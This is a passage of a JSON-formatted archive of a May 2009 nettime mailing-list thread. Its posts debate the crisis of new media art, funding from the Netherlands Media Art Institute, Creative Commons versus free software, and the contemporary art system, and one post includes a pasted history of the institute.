criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00049",
                        "date": "Sun, 17 May 2009 10:59:58 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "fb9095bf0905170159ldd82c24t9b13cac4653349dd {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00049.html",
                        "content-type": "text/plai",
                        "author_name": "carlos katastrofsky",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "jaromil <jaromil {AT} dyne.org>",
                                "content": "\n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\nre all,\n\nfirst of all  thanks Matze for your consideration  of my activity, but\nlet me  warn you are  overestimating the benefits of  my collaboration\nwith Montevideo / Time Based  Arts ...  which is now called Nederlands\nInstituut voor Mediakunst  (NIMK, BTW): it takes more  to be \"rescuing\nthe middle-class fantasies  of a free arty market  of software\" as you\nsay, if  we speak of a national  institute that started in  a squat in\nAmsterdam 30 years  ago and has seen a  constant flow of contributions\nby various people  through all these years, most  of them really worth\nconsidering.\n\nOn Fri, May 15, 2009 at 05:23:12PM +0200, Matze Schmidt wrote:\n> I'd  like  to  point  out  at  this  point  that  institutions  like\n> Montevideo are revolutionizers of money, e.g. they payed Jaromil for\n> working on dynebolican stuff\n\nif it  would be just the  action of redistribution of  wealth, then it\nwouldn't  be   revolutionary  at  all.   Some   artists  produced  and\ndistributed  by Montevideo did  became rich,  but for  them Montevideo\nmostly contributed to the  production quality of their artworks rather\nthan direct funding.\n\njust consider that  if my lifestyle would be  \"middle-class fantasy\" i\ncould  not afford  to  sustainably  live in  Amsterdam  relying on  my\ncurrent employment, but lucky me i'm not a yuppie :) and i'm fine like\nthat.  for the  minimum support i get, needed as i  care to support me\nand my extended  family when needed, i have to do  much more than just\ndeveloping \"my own projects\", but still all results can be free to the\npublic,: that shouldn't be special for a public institution, right?  i\nbelieve this is the good signal  NIMK gives - not such a revolutionary\none, but pretty honest: there  are often various degrees of corruption\nleading   public  institutions  to   play  commercially   with  public\nresources.\n\nother  than that,  we can  call \"progressive  attitude\" -  rather than\nrevolutionary\" -  when institutions are keen to  interact with liminal\ncontexts,  with dwellers on  the dystopian  hearth pulsating  in every\nmetropolis of our \"Free Western World\".  This kind of interaction (and\nthe respect for the uncommon ground  in between) is indeed part of the\nheritage of  a city like Mokum  A - unfortunately  decaying rapidly as\nEurope is turning  into a Fortress for the  privileged and their fears\nof the disinherited children of the welfare mirage.\n\nat last  about the  interaction i  mention here: i'm  not sure  how to\ndefine it,  its likely  not a negotiation  nor a compromise,  i'm just\nsure  it is  necessary in  any case:  whether we  accept  the upcoming\ninstitutionalised  \"Reinvent  Yourself\"  strategy  or  not.   I  would\nrecommend  a  case-by-case  analysis  in  this  regards,  rather  than\nthinking universally... like institutions often do ;^)\n\nregarding your vague critiques let me reply:\n\n> with all effects of an open source software\"z\" driven by the mediate\n> support of the state.\n\ndyne.org  development  is not  driven  by  any  state, corporation  or\ninstitution rather  than by the  many problems these  power structures\ngenerate.  we  dedicate most  of our free  time to peer  reviewed free\nsoftware  development  in  socially  relevant  contexts  (please  note\n\"development\", not  provision of services)  and as hackers  we operate\npragmatically, on-line as well in various different on-site contexts.\n\n> But  while talking  to them  some  years ago  the Montevideo  people\n> turned out  to be  very naive in  political questions. They  have no\n> idea about  economy and  no idea of  what is  going on out  of their\n> field. That's  okay, as  long as they  incorporate all  folklore and\n> avantgarde at the sam time, because it is their mandate and mission.\n\ni'd  be  curious  to  know  what  you  consider  \"naive  in  political\nquestions\": myself  i've felt  enriched by the  past 4 and  more years\nspent  in  Amsterdam,  by my  colleagues  at  NIMK  (which is  not  so\nuniformed in its  composition BTW) as well by  the squatters in A'dam,\nfrom De Bierkoning to the Waag Society.\n\nbacking my  objection, i'll point you  out some coverage  on NIMK's 30\nyears symposium (just happened last week):\n\nhttp://www.we-make-money-not-art.com/archives/2009/05/the-netherlands-media-art-inst.php\n\npasting  you  here  the  transcription  of  my  intervention  at  this\nsymposium,  let  it  be   also  a  contribution  to  this  interesting\ndiscussion thread:\n\n                            ------------\n\nAt the NIMK's symposium \"Positions in Flux\" I've taken the occasion to\nshare thoughts  on the  current perception of  Free Software  and Open\nSource philosophy  in art,  along with some  overdue criticism  of the\nCreative Commons hollow  hype, as well of the  Creative Industries and\ntheir systematised processing  of art for the global  market.  Even if\nnot  obvious, I  believe the  dynamics  of these  two phenomenons  are\nrelated; among the quoted in the intervention are Benjamin Mako Hill's\n\"Towards a Standard of  Freedom: CreativeCommons and the Free Software\nMovement\"[1] and Florian Cramer's post on nettime \"The Creative Common\nMisunderstanding\"[2],  while  the vigorous  critique  of the  Creative\nIndustries  stands on  Rana Dasgupta's  essay  \"The Next  Idea of  the\nArtist  (Art,   music  and  the  present   threat  of  creativity)\"[3]\n\n\nHere below a short transcript:\n\n\"Open Source\" doesn't mean free access, nor open space or open air; it\npresumes  a  seamful[4]  approach  to  design as  a  response  to  the\nincreasing  reliance  on  technology  and  its  accessibility;  it  is\ninteractive without prescribed  boundaries, following a combinatorial,\ngenerative approachto development;  it is peer to peer  as no producer\ncan control further interaction patterns; it is grassroot as creations\nare  born out  of  initiative and  cohesion  based on  needs felt  and\nunderstood in first person by community members.\n\nAbout  Creative  Commons, its  motto  \"Some  rights  reserved.\"  is  a\nrelatively  hollow  call:  the  slogan  factually  reverses  the  Free\nSoftware and Open Source philosophy  of reserving rights to users, not\ncopyright owners,  in order  to allow the  former to  become producers\nthemselves. The dis/appropriating loop of creativity must be recursive\nto be  fruitful: not only  productionmeans belong to the  people using\nthem, further creations  should be free to be  recombined. rights must\nbe granted  focusing on people  interacting, not just  those providing\nthe interactive infrastructure.\n\nUnfortunately there  is a diffuse lack of  perception for alternatives\noffered by  the Open  Source and Free  Software approach  over current\nprofit models.  As  a present problem, also deriving  from the lack of\nunderstanding  of the  importance of  grass-root  creativity, top-down\ncultural   management  is   patronising   art  production:   massmedia\naesthetics of  an entirely sanitised and efficient  creativity, of the\nsort  that will  not  rely on  unstable  people and  can therefore  be\nglobally rationalised.\n\nThat the  great artists of  modern Western culture managed  to produce\nwhat they  did, despitethe danger  and intensity of their  effort, was\ndue in large  part to improvised social forms  built around close-knit\nnetworks  where  thought and  affect  circulated  with high  velocity,\nandwhere it  was possible to  try out forms of  non-conventional human\nrelationships that would  not destroy, nor be destroyed  by, a life of\nart. Seen  from an historical perspective,  In the second  half of the\ntwentieth  century many  of the  functions of  creative  networks were\nalready  taken  over in  Europe  by  institutions (government  funding\nbodies,  universities,  museums,  etc)  and much  of  their  excessive\nfeeling  wasneutralised. This  was  only  a small  part  of a  general\nprocess of the time: the absorption of human emotion into bureaucratic\nchannels,  and the  emergence of  a social  coolness,  anefficiency of\nfeeling.\n\nAt this  stage in the  twenty-first century, we  are in the  middle of\nanother   large-scale  restructuring  of   ideas  of   creativity  and\nculture. As one of the most significant generators of image and value,\ncreativity now has become a  critical resource for the global economic\nengine.   What creativity  is,  and  how it  can  be systematised  and\ncirculated, are therefore  urgent questions of contemporary capitalist\norganisation.   As  cultural  producers   are  thrust  into  the  full\nintensity of  globally dispersed, just-in-time  production, new images\nof creative inspiration and output are required that sit tidily within\nthe systematised  processes of the  global market. Creativity  must be\nrendered comprehensible,  transparent and rational: there  can be none\nof  the destructive  excesses  evident in  the  lives of  many of  the\ngreatest  artists  of  European  history.  Creativity  must  circulate\ncleanly and quickly, and it  should leave no dirty remainder. For what\ninterests Hollywood, and the market in general, is not creativity as a\ncomplex human  process, weighed down  in bodies and  relationships and\nempty days,  but creativity as  an abstraction, free  of irrationality\nand  pain, and  light enough  to  hover like  a great  logo above  the\ncontinents.\n\nPerhaps, as the logic  of systematised production occupies the terrain\nof human  creativitymore completely,  we will reach  a stage  where we\nsurrender  all knowledge  about  this troubling  domain,  and it  will\nbecome entirely alien  to us. Perhaps one day we  will be terrified of\nwhat  explosive dangers  might rise  up from  the creativity  of human\nbeings.\n\n[1] http://mako.cc/writing/toward_a_standard_of_freedom.html\n\n[2] http://www.nettime.org/Lists-Archives/nettime-l-0610/msg00025.html\n\n[3] http://ranadasgupta.com/texts.asp?text_id=45\n\n[4] http://www.themobilecity.nl/2008/01/05/designing-for-locative-media-seamless-or-seamful-experiences/\n\n\n- -- \n\njaromil, dyne.org developer, http://jaromil.dyne.org\n\nGPG: 779F E8B5 47C7 3A89 4112  64D0 7B64 3184 B534 0B5E\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1.4.9 (GNU/Linux)\n\niEYEARECAAYFAkoP/aAACgkQe2QxhLU0C15y4ACeKYaj8pNKu7lS/Z1sIuVUtbfL\nmBUAn2h7gwq7AN0Gsv+lgidMWqZoga1q\n=Skrp\n-----END PGP SIGNATURE-----\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00047",
                                "date": "Sun, 17 May 2009 14:05:54 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20090517120554.GA4808 {AT} dyne.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00047.html",
                                "content-type": "text/plai",
                                "author_name": "jaromil",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "\"xname\" <root {AT} xname.cc>",
                                "content": "> jaromil said:\n> Montevideo / Time Based  Arts ...  which is now called Nederlands\n> Instituut voor Mediakunst  (NIMK, BTW)\n> if  we speak of a national  institute that started in  a squat in\n> Amsterdam 30 years  ago\n\nHello.\n\nI did not remember that the 'Nimk' was started in a squat: isn't this the\nstory of Paradiso and Melkweg?\n\nAs far as I know the 'Netherlands Media Art Institute' was born when\n'Monte Video' and 'Time Based Arts' merged (1993).\n\nMonte Video was founded by Ren\u00e9 Coelho in 1978, and initially operated\nfrom his house in Amsterdam. (was that squatted? I tend to doubt.)\nMonte Video focused on video art and provided equipment for producing\nworks and space to show them (soon collecting and distributing...\nvideo-tapes!).\n\nTime Based Arts was founded in 1983 by the Association of Video Artists,\nso it was an artists run association creating a network for distribution;\nit was more performance oriented than Monte Video, according to the story\nthat was narrated to me, and which I deduced from the collection. (Can\nanyone confirm this, please?)\nWere they squatting? But they were getting funding...\nI am somewhat curious.\n\nMaybe other people on this list know more.\n\nThere is a page of history on the nimk.nl, but i saw no wikipedia entry on\nthis topic.\nI find the *story of this institute quite beautiful and paradigmatic in\nthe development of the (non-linear) chain of media mutations (which could\noff course be expanded):\n\nhappening/performance (art=life)\nelectronic art\nvideo-art (art=registration)\nmedia-art, software-art (art=simulation)\n\nI paste it below.\n\nBest,\nEleonora\n\n===\n\n**History**\n\n1978\nMonte Video is founded by Ren\u00e9 Coelho. From his home on the Singel in\nAmsterdam he makes equipment and documentation available, and furnishes\none room as a gallery. The first video artist whose work is shown here on\nthe Singel was Livinus van de Bundt, Coelho's inspiration. Other artists,\nsuch as Bill Viola, Gary Hill, Shelly Silver and Gabor Body, soon make\ncontact. It is not long before Monte Video has a large selection of works\navailable for rental.\n\n1983\nThanks to government funding Monte Video is able to move to Amsterdam\nNorth. There is now sufficient space to offer regular presentations. Not\nonly Dutch artists, but also those from other countries are given a chance\nto show their videos or installations.\n\n1986\nGovernment funding received by Monte Video is cut back to almost nothing.\nMonte Video does receive several small transitional grants from the city\nof Amsterdam.\nTime Based Arts, which had been founded in 1983 by the Association of\nVideo Artists, is fast becoming well-known as a distributor of video art,\nand continues receiving government funding.\n\n1986-1993\nRen\u00e9 Coelho continues on his own. Monte Video moves back to his home on\nthe Singel. The acquisition of production facilities, distribution,\ndocumentation and promotion goes on, financed from his own income and by\norganizing large projects. One of these, as an example, was 'Imago', an\nexhibition of Dutch video installations which toured worldwide for five\nyears beginning in 1990. There were also plans laid for the first\nconservation programs for video art.\nThe chairman of Time Based Arts, Aart van Barneveld, died; his death was\nfollowed by many conflicts within the organization. In the early 1990s\nTime Based Arts also lost its subsidies and threatened to go under. Monte\nVideo and Time Based Arts decide to provide a joint art program for\nAmsterdam cable TV, Channel Zero.\n\n1993\nTime Based Arts merges with Monte Video. Their work is continued under the\nnew name of Netherlands Media Art Institute, Montevideo/Time Based Arts.\nThis fusion does free up national funding. In both 1997 and 2001 the\ngrants are expanded and converted into a structural subsidy for four\nyears.\n\n1993-2002\nThe Netherlands Media Art Institute moves twice, in 1994 to the Spuistraat\nand in 1997 to its present location on the Keizersgracht.\nThe Institute continues to grow through these years, and adopts the\nfollowing mission statement: The Netherlands Media Art Institute supports\nmedia art in three core areas: presentation, research and conservation. At\nthe same time, through its facilities it offers extensive services for\nartists and art institutions. Among these services are educational\nprograms, to be developed to accompany all activities.\n\nand\n\n**History of the Collection**\n\nThe collection of the Netherlands Media Art Institute, Montevideo/Time\nBased Arts reflects the turbulent history of the Institute. In addition to\nthe collection of Monte Video, the predecessor of the Netherlands Media\nArt Institute, the Institute administers the collections of four\ninstitutions: the Lijnbaan Center (1970-1982), Time Based Arts\n(1983-1994), De Appel (1975-1983) and the Institute Collection\nNetherlands. This combination of artists' initiatives (Time Based Arts, De\nAppel and the Lijnbaan Center) and more formal institutions (Institute\nCollection Netherlands and the present Netherlands Media Art Institute)\naffords the collection a surprising diversity. In addition to renowned\nartists like Bill Viola, Nam June Paik and Gary Hill (who were represented\nin the collection as far back as the 1970s), there are internationally\nknown Dutch artists who experimented with the medium for only a short\nperiod in the 1970s, such as Marinus Boezem, Jan van Munster and Pieter\nEngels.\nBefore any institutions at all had yet been created for the purpose of\ncollecting small centers were set up in various parts of The Netherlands\nwhich facilitated and promoted the use of video by and for artists. The\nearliest examples of this were Agora Studios in Maastricht, the Lijnbaan\nCenter in Rotterdam (itself a merger of the studio of Venster in Rotterdam\nand the video studio which was set up for the Sonsbeek exhibition in 1971\nin Arnhem), and a couple of individuals such as the artists Miguel-\u00c1ngel\nC\u00e1rdenas and Jack Moore in Amsterdam, who made their cameras available for\nother artists. Many of the works which were made in this earliest period\nof Dutch video art only surfaced from oblivion in the course of the 1990s.\nSurprising discoveries among them are the works of Dennis Oppenheim, Terry\nFox, Wim Gijzen, Nan Hoover and Tajiri.\n\nWith the arrival of the collection of De Appel an enormously rich\ncollection of video records of performances was added. De Appel flourished\nin the 1970s as one of the most progressive international work sites for\nperformance art. The collection of this institution contained unique works\nby Vito Acconci, Laurie Anderson, Gina Pane, Carolee Schneemann and\nothers. But in addition to records of events in her own gallery, Wies\nSmalls, the founder of De Appel, also built up a collection of\ninternational video art in order to enable the Dutch public to become\nacquainted with what was happening internationally, including work by\nDouglas Davis, Ulrike Rosenbach, Joan Jonas and Alison Knowles.\n\nIn the early 1980s, with De Appel as its base, efforts were begun to\nestablish an association for video artists, which later created the Time\nBased Arts Foundation. The collection of this artists' association, in\naddition to works by artists based in The Netherlands, such as\nAbramovic/Ulay, Hooykaas/Stansfield, Ben d'Armagnac, Christine Chiffrun\nand Lydia Schouten, also included work by international artists like Mona\nHatoum and General Idea.\nTime Based Arts maintained an active collection policy, in which any\nartist who worked with video could try to have his or her work included in\nthe collection. As it grew the collection became enormously diverse and\nafforded a good overview of the various ways that video could be employed\nin the visual arts. Through in to the 1990s Time Based Arts played an\nimportant role in the collection, distribution and support of video art\nuntil, in 1994, under pressure from the municipal authorities of\nAmsterdam, it entered into a merger with Monte Video.\n\nRen\u00e9 Coelho began his video gallery Monte Video in 1978, and in doing so\nlaid the foundation for the present Institute. Monte Video was a gallery\nwhich specialized in electronic art and especially in video art that\nsought out the creative possibilities and qualities of the medium itself.\nAn important impetus for establishing the institution was the work of the\nDutch video pioneer Livinus van de Bundt. He was therefore the first\nartist to be shown in the gallery. Later the Vasulkas, Bert Schutter,\nPeter Bogers, Matthew Schlanger and many others followed. In addition to\nthe works that were to be seen in the gallery, Monte Video began to be\nactive in collecting and distributing work. Bill Viola, Gary Hill, Shelly\nSilver and Gabor Body were for instance artists who 'stabled' their work\nwith Monte Video. The gallery owed its international success chiefly to\nthis. When in the 1990s the conservation of video works became a pressing\nproblem, the then merged Montevideo/Time Based Arts established itself as\nthe goad and later as the center of technical expertise for carrying out\nthe Conservation of Dutch Video Art project. As well as the collections\ndescribed above, there was integral cooperation with museums that over the\ncourse of time had also collected video work. In addition to much\ntechnical research, the conservation efforts also prompted considerable\nrecording work and research into content. Among questions dealt with were\nthe status of the vehicle, the significance of the material chosen and\nestablishing the boundary conditions for proper exhibition. Because of the\ndifferences in approach among the institutions from which they came,\nconsiderable time was spent integrating the collections with one another,\nand getting the possibilities for the use of the works coordinated with\none another. But now, with the end of the conservation project in sight,\nthe gaps between the collections appear to be closing ever more, and we\ncan proudly present our multi-faceted collection to the public, as we do\nhere.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00050",
                                "date": "Sun, 17 May 2009 15:40:16 +0200 (CEST)",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "3266070d80132b99ebf3351b5cb71455.squirrel {AT} tuxic.nl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00050.html",
                                "content-type": "text/plai",
                                "author_name": "xname",
                                "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation (was: Political Work in the Aftermath of the New Media Arts Crisis)"
                            },
                            {
                                "from": "Matze Schmidt <matze.schmidt {AT} n0name.de>",
                                "content": ">> [...] Arts\n\n> what art\n\n> True, art\n\nIn short: No money (as one of the forms of profit) without art, no art\nwithout politics. This is a simple formula and any Baudrillard would\nhave secretly subcribed this, even in an epoch of ended (Hegel and \nfollowers) or never realized (Debord and followers) art. The fact is,\nwe* don't need art as art, but -- and someone like jaromil shows this\nto us** -- we need other conditions, as painting, code or video or\ndiy-cooking if you like, I don't care -- changing media is always good.\nBut we are not able to produce the conditions 'now' -- like someone like\njaromil is may thinking -- because the conditions produce us, alienate\nus; they will allways produce us (products produce consumption and vice\nversa), but these conditions are (straightforward now) have to be\nuncaged from ruling modes of production, in the meant sector reproduced\nby national institutions (ZKM in Germany, Ex-Montevideo in NL, your\npersonal MTV at home). The New Media Arts Crisis is not my crisis, It's\njust the crisis of the middle-class (Yuppie or not, fallen programmer or\nrising video-installer) in form of some arts with newer or older media,\nmay it a t-shirt or an lcd. So there is no aftermath here but the\neffects of a mixed up (I love this status and condition) highbrow, baby!\nelite meshed with an alternative \"green\" and independent buisness party\nwith no idea of real coding out there (forget networks, they are roped\nparties).\n__________\n* and ** Me, I and you as the readers who follows this text.\n\nM\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00059",
                                "date": "Mon, 18 May 2009 11:22:02 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "1739011317.20090518112202 {AT} n0name.",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00059.html",
                                "content-type": "text/plai",
                                "author_name": "Matze Schmidt",
                                "subject": "Re: <nettime> Media Mutations - Life | Registration | Simulation\t(was: Political Work in the Aftermath of the New Media Arts Crisis)"
                            }
                        ],
                        "from": "Matze Schmidt <matze.schmidt {AT} n0name.de>",
                        "content": "\nThursday, May 14, 2009, 10:28:59 PM, one wrote:\n> On Monday, May 11 2009, 21:29 (+0200), Geert Lovink wrote:\n\n>> While society at large is inundated with (new) media, the art      \n>> branch that deals with the digital moved itself in a ghetto.       \n\n> This is too true, and that branch has to reinvent itself from\n> scratch or it will collapse very soon (if it isn't already\n> collapsing).\n\nMh, so let it be killing itself, the Reinvent Yourself-Discourse is a\nline from the Pet Shop Boys from the 90s and says nothing than \"Nobody\nknows the trouble I've seen\" in a 'modern' reinvented (sic!) way. But\nI cannot see the trouble of this hard front line between a Paik and\na Ubermorgen. For example the \"1001 Songs of eBay\" of uebermorgen is\njust a funny funny project I can implement over the weekend dealing\nwith online politics sex. And this confused and disoriented waiting\nfor the new-old avantgarde like \"Let's do many Paiks\" is boring and\ndoes not have anything to do with the real world in which electronics\nare the basis of the doings. What was really radical in a Paik?\nFucking the Porta Pack with Alternative TV-Ideas or the TV-Sets with a\nmagnet? Were the neo-dada fluxus guys radical anyway or just radical?\n\n> as if radical video art from Paik to Infermental had never happened.\n> (It seems as if most contemporary artists actually don't know it\n> anymore which is comparable to painters no longer knowing about\n> abstract painting.) One should perhaps advise Montevideo just not to\n> leave its video art roots behind.\n\nI'd like to point out at this point that institutions like Montevideo\nare revolutionizers of money, e.g. they payed Jaromil for working\non dynebolican stuff and by this means they are able to rescue the\nmiddle-class fantasies of a free arty market of software on the basis\nof electronics, a market without too much money and with lower prices,\nwith all effects of an open source software\"z\" driven by the mediate\nsupport of the state.\n\nBut while talking to them some years ago the Montevideo people turned\nout to be very naive in political questions. They have no idea about\neconomy and no idea of what is going on out of their field. That's\nokay, as long as they incorporate all folklore and avantgarde at the\nsam time, because it is their mandate and mission.\n\nMatze Schmidt\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00045",
                        "date": "Fri, 15 May 2009 17:23:12 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "9394574.20090515172312 {AT} n0name.",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00045.html",
                        "content-type": "text/plai",
                        "author_name": "Matze Schmidt",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "lorian Cramer <fc-nettime {AT} pleintekst.nl>",
                                "content": "\nHey Renee,\n \n> You point towards a classic issue, the relevance of context. What do\n> different registers (fine art, media art, design, activism, popular\n> culture etc.) give to a particular work and what does a categorization\n> exclude, meaning what does it make *impossible*. Every register\n> influences interpretation, (in)visibility, production and funding.\n\nYeah, and inevitably, these registers are not just different chosen\nperspectives we have on particular works, but also institutional and\ndisciplinary contexts in which workers have to put their work and\nwhose written and unwritten rules they can't avoid abiding.\n\n> Can you speak more specifically about which curators, what art\n> educational programs, which artists and what practices?\n\nI was really thinking of the contemporary art system as it has been\ndescribed by its own protagonists, for example in Isabelle Graw's\n2008 book \"Der grosse Preis\", or has been analyzed, with means that\nreally deserve the term \"artistic research\", by Hans Haacke as early\nas in the 1970s in such pieces as \"The Chocolate Master\". And many\npeople have criticized that system from within, from Henry Flynt in\nthe 1960s to the writer and \"Thing Hamburg\"-blogger Michel Chevalier\ntoday. I think it is legitimate to make a sweepingly general critique\nof the contemporary art system just as it is legitimate to generally\ncriticize and attack the music industry and contemporary popular music\nsystem for example. That doesn't mean that there would be absolutely\nno good music coming out of that system. But unlike other culture\nindustries, the contemporary (Fine) Art system often falsely believes\nin its own autonomy. And it's my general experience and opinion that\nthe art I'm more interested in is more often than not to be found in\nplaces outside that system. In the 1960s, this was true for Fluxus\nand Situationism, in the 1970s and 1980s for the Mail Art Network and\npostpunk, and in the 1990s for Net.art, the Luther Blissett project or\nthe alternative pornography movement. Today, to speak in terms of our\nboth hometown Rotterdam, I'm finding the interesting contemporary arts\nat places like WORM and De Player and only rarely at Witte de With,\nfor example.\n\n> For a constructive debate, it's important to avoid caricatures,\n> otherwise there's a risk of creating false enemies, or missing out\n> on how to best counter the real ones.\n\nWell, this is true, and I admit that my posting was polemical\n- and emotional. My gripes with the contemporary art\nsystem are also based on bad personal experience and\nconfrontations such as the one with the \"Just Do It\" exhibition\n<http://www.mail-archive.com/nettime-l {AT} bbs.thing.net/msg02876.html>.\n\n> hmmmm....not sure about this, having worked as a hybrid artist/\n> designer/curator/media artist/collaborator for some time now, again\n> I reiterate that there are many different artworlds (and for that\n> matter artists/inhabitants/vagrants).\n\nIndeed. It's just that the particular art world I mentioned above\n- and which can be roughly described as the art world of the many\nbiennials, the Documenta, contemporary art spaces like PS.1 and KW,\ncontemporary art journals like October, Texte zur Kunst, Springerin\nand Metropolis M, too often monopolizes the term \"art\" for the art\nthat it represents. Admittedly, its system can be permissive and\ninclude 'outside' practices, particularly when a curatorial subject\nrequires it. However, it would be possible to map the institutions\nmentioned above just by the overlap of the people they involve,\nand come up with a fairly good representation of what makes up\ncontemporary art.\n\nThey same is true, no doubt, if you take ars electronica, transmediale\nand ISEA, plus Leonardo, Neural, Rhizome and Nettime, ZKM and ICC\nTokyo, and pin down the system \"media art\". But just as that latter\nsystem is now being - deservedly - questioned and undergoing a huge\nif not terminal structural crisis, I think it is as legitimate to\nquestion the contemporary Fine Art system, and the Western concept of\nautonomous art. So, going back to Geert's initial report about the\ndiscussion about the crisis of \"Media Art\" at Montevideo Amsterdam,\nI think that it can't be a solution to integrate a very questionable\n\"media art\" system into an equally questionable contemporary art\nsystem. [As it is now happening, in education, too, for example in the\nZurich art school media department where Felix Stalder teaches, and\nwhere the media programme has been rolled back into Fine Art on the\nMaster level.]\n\n> Sometimes they intersect, rub next to each other, come into\n> agitation or simply run on parallel tracks. (Not too disimilar from\n> the so-called new media world.) Think of open source practitioners,\n> the Max/Flash folk, and those that poach the web's detritus for\n> their own purposes, they're all a part of new media arts, but each\n> tend to dwell in different corners of the digital notion universe\n> (or maybe not, if you're one of those cross-pollinators :-)\n\nYep, only that what you describe above is really declining and may not\nsee much art funding or support in the future. The writing is on the\nwall.\n\n> >> Director Heiner Holtappels opened by noticing that new media art\n> >> is not easily accepted by fine art. Traditional art has become\n> >> eclecticism. According to Heiner, all art is technology based.\n> >\n> > This is true, yet contemporary art has mostly given up on\n> > reflecting its media. [I can almost hear an iPhone-wearing curator\n> > saying that reflecting one's media is outmoded modernism.]\n>\n> ouch, how stereotypes do prevail. I wonder if there would be a\n> paradigm shift if he/she had been envisioned with a pre-paid nokia.\n> ;-)\n\nI should have told that the above example was taken from a real\nlife experience, although it's admittedly a deliberate caricature\nwhen I I blew it out of proportion as above. I agree very much with\nBrian that artistic practices (to put it as broadly) are deeply\nintertwined in culture and communication. There's a good chance,\nand I really mean this, that I am getting old - in punk terms:\na boring old fart - who's insisting on outmoded viewpoints. But\nI think that critiques of modernism, as legitimate as they are,\nbecome problematic when they're used to legitimize and maintain the\nstatus quo. [An extreme example is the contemporary art gallery\nscene and private collections in Berlin and their intrinsic links to\nthe German discourse of \"Neue B\u00fcrgerlichkeit\" (\"new bourgeoisie\")\n<http://de.wikipedia.org/wiki/Neue_B\u00fcrgerlichkeit>.] The current\neconomic, political and social developments should render all\nnotions of posthistoire and non-rupture in the fabric of culture and\ncommunication, and hence also in the arts, all the more obsolete.\nThey also question the bourgeois insistence on artistic practice as a\nproduct of individual subjectivity. And finally, the contemporary art\nfield has been much ahead of the media art system in postcolonialism;\nhowever, if this reflection is serious, it should not exclude the\nnotion and system of art itself.\n\nWell, anyway, since the Geuzen collective of which you're a member\noperates in its own carefully chosen grey zone between art, activism,\ndesign, media, research and education, I actually think that our\nstandpoints are quite similar, just that our points of departure\nregarding the usefulness of the contemporary art system might\ndiffer. For me, the projects of De Geuzen are a very good example\nfor a post-autonomous artistic practice. Again, although I'm no\nfriend of the media art system, I'm quite sure that it would be\npractices like those of the Geuzen that would suffer and struggle\nto find institutional support once the \"media art\" system will\nhave vanished and been replaced with the existing contemporary art\nsystem (particularly the more cut-throat kind of the USA, Germany\nand England, with people who are anxious not to pollute Fine Art\nwith applied or sociocultural practices they hate and detest as\nnon-artistic [1].).\n\nFlorian\n\n\n[1] a good example would be Berlin's K\u00fcnstlerhaus Bethanien, a renown\ncontemporary arts space, whose director Christoph Tannert bitterly\nfights a group of squatters and their sociocultural center in his own\nbuilding. \n\n\n\n-- \nblog:     http://en.pleintekst.nl\nhomepage: http://cramer.pleintekst.nl:70\n          gopher://cramer.pleintekst.nl\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00068",
                                "date": "Sat, 23 May 2009 02:05:03 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20090523000503.GA17293 {AT} hp.localdomain",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00068.html",
                                "content-type": "text/plai",
                                "author_name": "Florian Cramer",
                                "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                            },
                            {
                                "from": "Renee Turner <geuzen {AT} xs4all.nl>",
